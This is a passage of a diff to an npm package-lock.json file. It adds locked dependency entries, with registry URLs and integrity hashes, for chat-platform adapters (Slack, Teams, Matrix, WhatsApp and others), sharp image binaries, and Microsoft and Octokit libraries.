"15.17.0", + "jsonwebtoken": "^9.0.0", + "uuid": "^8.3.0" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz", + "integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@beeper/chat-adapter-matrix": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@beeper/chat-adapter-matrix/-/chat-adapter-matrix-0.2.0.tgz", + "integrity": "sha512-eqKbU0iosIUkBn2dkRqyg+72a9c+v4vi85U81ZM8ETgjqHuZ34xWWntG2UL4ly6sHE/LiO4WL/k2Q+vlzLh8hw==", + "license": "MIT", + "dependencies": { + "@chat-adapter/state-memory": "^4.17.0", + "@chat-adapter/state-redis": "^4.17.0", + "chat": "^4.17.0", + "marked": "^15.0.12", + "matrix-js-sdk": "^41.0.0", + "node-html-parser": "^7.1.0" + }, + "engines": { + "node": ">=22" + } + }, + "node_modules/@bitbasti/chat-adapter-webex": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/@bitbasti/chat-adapter-webex/-/chat-adapter-webex-0.1.0.tgz", + "integrity": "sha512-Cl/gy3ifh18y0fs4f/qVNmHXfn+3v40x6QUjOUGZ5mEds2zYiqeVAalRkL+feBdjEz1tE8aQtzf1OUhRGPQeFw==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "^4.15.0" + }, + "peerDependencies": { + "chat": "^4.15.0" + } + }, "node_modules/@chat-adapter/discord": { "version": "4.24.0", "resolved": "https://registry.npmjs.org/@chat-adapter/discord/-/discord-4.24.0.tgz", @@ -52,6 +124,41 @@ "integrity": "sha512-7xpNK0EiWjjDFp2nAhHXezE4OUWm7s1zhc/UXXN6hnFFU8dfoPHgV0Hx0RPiCa3ILRpdeh152icc68DGCyXYIw==", "license": "MIT" }, + "node_modules/@chat-adapter/gchat": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/gchat/-/gchat-4.24.0.tgz", + "integrity": "sha512-60DAZMQ4EmnwruUP1CTkAOHnzuNM0Qjvh0ASa5c9Yxy1BTqFzWCtqVxssYL/VqBImgDkR9yO0vVlbvZjKTZ8gA==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "@googleapis/chat": "^44.6.0", + "@googleapis/workspaceevents": "^9.1.0", + "chat": "4.24.0" + } + }, + "node_modules/@chat-adapter/github": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/github/-/github-4.24.0.tgz", + "integrity": "sha512-iK2Wj0p8LH7aW6C53XxcR9ouzkkZrswaWY4DGlPT7+MBYd1u5HAMgruDcQFyoeiH4JZA4f0oCpccBidCnssDRQ==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "@octokit/auth-app": "^8.2.0", + "@octokit/rest": "^22.0.1", + "chat": "4.24.0" + } + }, + "node_modules/@chat-adapter/linear": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/linear/-/linear-4.24.0.tgz", + "integrity": "sha512-FrbIPyWMW5WWT4KFIO14Oc0iLwdUQG1R5eQ0oXLizVCXWb3COTwwNhhozO7eGL8ZDI+OrU7Tz8sWjNEakuBxSg==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "@linear/sdk": "^76.0.0", + "chat": "4.24.0" + } + }, "node_modules/@chat-adapter/shared": { "version": "4.24.0", "resolved": "https://registry.npmjs.org/@chat-adapter/shared/-/shared-4.24.0.tgz", @@ -61,6 +168,17 @@ "chat": "4.24.0" } }, + "node_modules/@chat-adapter/slack": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/slack/-/slack-4.24.0.tgz", + "integrity": "sha512-K8QOYfYMVV8yQixspLAilhh2nou2sybW/M5+8WunegZZlpLqLfQHl78fAJsp+CRveo24bR4UlCcT92/EpGkwOA==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "@slack/web-api": "^7.14.0", + "chat": "4.24.0" + } + }, "node_modules/@chat-adapter/state-memory": { "version": "4.24.0", "resolved": "https://registry.npmjs.org/@chat-adapter/state-memory/-/state-memory-4.24.0.tgz", @@ -70,6 +188,50 @@ "chat": "4.24.0" } }, + "node_modules/@chat-adapter/state-redis": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/state-redis/-/state-redis-4.24.0.tgz", + "integrity": "sha512-ne0jSUXSOuJUre0XP58F+JVwvMQXUdxoK0NVkKNKyKDSPfpyDkgnLUVnt1TVTihLrIFp+wPb1mpz/UZEv7NMJw==", + "license": "MIT", + "dependencies": { + "chat": "4.24.0", + "redis": "^5.11.0" + } + }, + "node_modules/@chat-adapter/teams": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/teams/-/teams-4.24.0.tgz", + "integrity": "sha512-h3+5ME25i47bBbgg3XekwuWZ7q3IorlyyvHiTrCnHzy4jFOrCW9of1fea+o4yzrQiwBtUgGBMbnxqFKV+Xg8+A==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "@microsoft/teams.api": "^2.0.6", + "@microsoft/teams.apps": "^2.0.6", + "@microsoft/teams.cards": "^2.0.6", + "@microsoft/teams.graph-endpoints": "^2.0.6", + "chat": "4.24.0" + } + }, + "node_modules/@chat-adapter/telegram": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/telegram/-/telegram-4.24.0.tgz", + "integrity": "sha512-xNsxQH2IFaOs9FEP8Yx5cI0qENl7P1slSNe1lH0nOqfHnOI65cVcUZqQ4i/RDNkS65E3XAxxWB6q9YS2ku7SSw==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "chat": "4.24.0" + } + }, + "node_modules/@chat-adapter/whatsapp": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/whatsapp/-/whatsapp-4.24.0.tgz", + "integrity": "sha512-HEGwBDI+CXlZcaux2V/cX3YToRL2nsUx6cX0z9C40vovCicERP/Ax9M9qOTATqj4BWU9XTTCPniY6noGc3JgAg==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "chat": "4.24.0" + } + }, "node_modules/@discordjs/builders": { "version": "1.14.1", "resolved": "https://registry.npmjs.org/@discordjs/builders/-/builders-1.14.1.tgz", @@ -210,6 +372,16 @@ "url": "https://github.com/discordjs/discord.js?sponsor" } }, + "node_modules/@emnapi/runtime": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.9.2.tgz", + "integrity": "sha512-3U4+MIWHImeyu1wnmVygh5WlgfYDtyf0k8AbLhMFxOipihf6nrWC4syIm/SwEeec0mNSafiiNnMJwbza/Is6Lw==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, "node_modules/@esbuild/aix-ppc64": { "version": "0.27.3", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.3.tgz", @@ -810,6 +982,39 @@ "node": "^18.18.0 || ^20.9.0 || >=21.1.0" } }, + "node_modules/@googleapis/chat": { + "version": "44.6.0", + "resolved": "https://registry.npmjs.org/@googleapis/chat/-/chat-44.6.0.tgz", + "integrity": "sha512-Bnqzev/bSTXSbE0/N2WS4Stnleo8j9bJJ1LkCBk1fXQnehcArVMv7q543rzPYU6MJql4D34On6diNGAuYtI9xQ==", + "license": "Apache-2.0", + "dependencies": { + "googleapis-common": "^8.0.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/@googleapis/workspaceevents": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/@googleapis/workspaceevents/-/workspaceevents-9.1.0.tgz", + "integrity": "sha512-aJiMrTi/YyUUaaTO0tnhTHDYU+N9CTD3l3FSfe0yzEHQl7DEc+1LISgdK1o2nurvCtguBEumify5kTkr6Cg5eA==", + "license": "Apache-2.0", + "dependencies": { + "googleapis-common": "^8.0.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/@graphql-typed-document-node/core": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@graphql-typed-document-node/core/-/core-3.2.0.tgz", + "integrity": "sha512-mB9oAsNCm9aM3/SOv4YtBMqZbYj10R7dkq8byBqxGY/ncFwhf2oQzMV+LCRlWoDSEBJ3COiR1yeDvMtsoOsuFQ==", + "license": "MIT", + "peerDependencies": { + "graphql": "^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0" + } + }, "node_modules/@humanfs/core": { "version": "0.19.1", "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", @@ -858,6 +1063,471 @@ "url": "https://github.com/sponsors/nzakas" } }, + "node_modules/@img/colour": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.1.0.tgz", + "integrity": "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@img/sharp-darwin-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.34.5.tgz", + "integrity": "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-darwin-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.34.5.tgz", + "integrity": "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-libvips-darwin-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.2.4.tgz", + "integrity": "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-darwin-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.2.4.tgz", + "integrity": "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "darwin" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.2.4.tgz", + "integrity": "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==", + "cpu": [ + "arm" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.2.4.tgz", + "integrity": "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-ppc64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.2.4.tgz", + "integrity": "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==", + "cpu": [ + "ppc64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-riscv64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.2.4.tgz", + "integrity": "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==", + "cpu": [ + "riscv64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-s390x": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.2.4.tgz", + "integrity": "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==", + "cpu": [ + "s390x" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linux-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.2.4.tgz", + "integrity": "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-arm64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.2.4.tgz", + "integrity": "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==", + "cpu": [ + "arm64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-x64": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.2.4.tgz", + "integrity": "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==", + "cpu": [ + "x64" + ], + "license": "LGPL-3.0-or-later", + "optional": true, + "os": [ + "linux" + ], + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-linux-arm": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.34.5.tgz", + "integrity": "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==", + "cpu": [ + "arm" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.34.5.tgz", + "integrity": "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-ppc64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.34.5.tgz", + "integrity": "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==", + "cpu": [ + "ppc64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-ppc64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-riscv64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.34.5.tgz", + "integrity": "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==", + "cpu": [ + "riscv64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-riscv64": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-s390x": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.34.5.tgz", + "integrity": "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==", + "cpu": [ + "s390x" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-s390x": "1.2.4" + } + }, + "node_modules/@img/sharp-linux-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.34.5.tgz", + "integrity": "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-linuxmusl-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.34.5.tgz", + "integrity": "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-arm64": "1.2.4" + } + }, + "node_modules/@img/sharp-linuxmusl-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.34.5.tgz", + "integrity": "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-x64": "1.2.4" + } + }, + "node_modules/@img/sharp-wasm32": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.34.5.tgz", + "integrity": "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==", + "cpu": [ + "wasm32" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT", + "optional": true, + "dependencies": { + "@emnapi/runtime": "^1.7.0" + }, + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-arm64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.34.5.tgz", + "integrity": "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-ia32": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.34.5.tgz", + "integrity": "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==", + "cpu": [ + "ia32" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, + "node_modules/@img/sharp-win32-x64": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.34.5.tgz", + "integrity": "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0 AND LGPL-3.0-or-later", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + } + }, "node_modules/@jridgewell/sourcemap-codec": { "version": "1.5.5", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", @@ -865,6 +1535,351 @@ "dev": true, "license": "MIT" }, + "node_modules/@linear/sdk": { + "version": "76.0.0", + "resolved": "https://registry.npmjs.org/@linear/sdk/-/sdk-76.0.0.tgz", + "integrity": "sha512-Xt0x5Kl6qBoWhGFypb8ykyP+c5kT7scmRPs1uJidSPOaRgkMJ/4y41QpmZCWCBUMmZtf/O0VktgQio6rLXT94w==", + "license": "MIT", + "dependencies": { + "@graphql-typed-document-node/core": "^3.2.0" + }, + "engines": { + "node": ">=18.x" + } + }, + "node_modules/@matrix-org/matrix-sdk-crypto-wasm": { + "version": "18.0.0", + "resolved": "https://registry.npmjs.org/@matrix-org/matrix-sdk-crypto-wasm/-/matrix-sdk-crypto-wasm-18.0.0.tgz", + "integrity": "sha512-88+n+dvxLI1cjS10UIlKXVYK7TGWbpAnnaDC9fow7ch/hCvdu3dFhJ3tS3/13N9s9+1QFXB4FFuommj+tHJPhQ==", + "license": "Apache-2.0", + "engines": { + "node": ">= 18" + } + }, + "node_modules/@microsoft/teams.api": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.api/-/teams.api-2.0.7.tgz", + "integrity": "sha512-SQu7d/alQ3ZKgBX2ur/0VbtxsDLMZb3HmGUVnzIWkvSzFkGcPQ8uPK//670gpEyFJVh2qqP0wFwOwH98/tO57w==", + "license": "MIT", + "dependencies": { + "@microsoft/teams.cards": "2.0.7", + "@microsoft/teams.common": "2.0.7", + "jwt-decode": "^4.0.0", + "qs": "^6.14.2" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@microsoft/teams.apps": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.apps/-/teams.apps-2.0.7.tgz", + "integrity": "sha512-1y7mLrM/HZfRn8tHK/vInMZCpMXjRPQ6QawboNXttJqEQxvlwNRK9nzDjnzuIyBF32oTVt/ro7Id38oNnhaXeQ==", + "license": "MIT", + "dependencies": { + "@azure/msal-node": "^3.8.1", + "@microsoft/teams.api": "2.0.7", + "@microsoft/teams.common": "2.0.7", + "@microsoft/teams.graph": "2.0.7", + "axios": "^1.12.0", + "cors": "^2.8.5", + "express": "^5.0.0", + "jsonwebtoken": "^9.0.2", + "jwks-rsa": "^3.2.0", + "reflect-metadata": "^0.2.2" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@microsoft/teams.cards": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.cards/-/teams.cards-2.0.7.tgz", + "integrity": "sha512-HUGw5OWKc6eCdinRLYqHgFyvScTplQs+PqUqHnf79wH1QNqAKCX+p7uF71YxTm383laJYOqDGYU6uvFEoTvOsA==", + "license": "MIT", + "engines": { + "node": ">=20" + } + }, + "node_modules/@microsoft/teams.common": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.common/-/teams.common-2.0.7.tgz", + "integrity": "sha512-O3qWC/RbLbiJSAHyk1j5Ybx3GAxmM7DhFbfLW5a2sebEQ+Sn/hB/8rr+IsxlG2FAaUgrcKkir8B55wuKTlZPYw==", + "license": "MIT", + "dependencies": { + "axios": "^1.12.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@microsoft/teams.graph": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.graph/-/teams.graph-2.0.7.tgz", + "integrity": "sha512-hHX1gsCL7GFhAUz1CAT+PFar5U20/nA6sV4yJJaLygu0Wft10XgX3tJh1FckXBQlO1vCaDRtmcMJ9Eey0Z/wRg==", + "license": "MIT", + "dependencies": { + "@microsoft/teams.common": "2.0.7", + "qs": "^6.14.2" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@microsoft/teams.graph-endpoints": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@microsoft/teams.graph-endpoints/-/teams.graph-endpoints-2.0.7.tgz", + "integrity": "sha512-VYx2CeSqZnjsp8fvVgt0f5PahXk2OKBKUHo1ICPLX/pvzsxjB8+RYU/5dvXVzPweNRTbIJR5gAugzyZwL/1miQ==", + "license": "MIT", + "engines": { + "node": ">=20" + } + }, + "node_modules/@octokit/auth-app": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-app/-/auth-app-8.2.0.tgz", + "integrity": "sha512-vVjdtQQwomrZ4V46B9LaCsxsySxGoHsyw6IYBov/TqJVROrlYdyNgw5q6tQbB7KZt53v1l1W53RiqTvpzL907g==", + "license": "MIT", + "dependencies": { + "@octokit/auth-oauth-app": "^9.0.3", + "@octokit/auth-oauth-user": "^6.0.2", + "@octokit/request": "^10.0.6", + "@octokit/request-error": "^7.0.2", + "@octokit/types": "^16.0.0", + "toad-cache": "^3.7.0", + "universal-github-app-jwt": "^2.2.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/auth-oauth-app": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-app/-/auth-oauth-app-9.0.3.tgz", + "integrity": 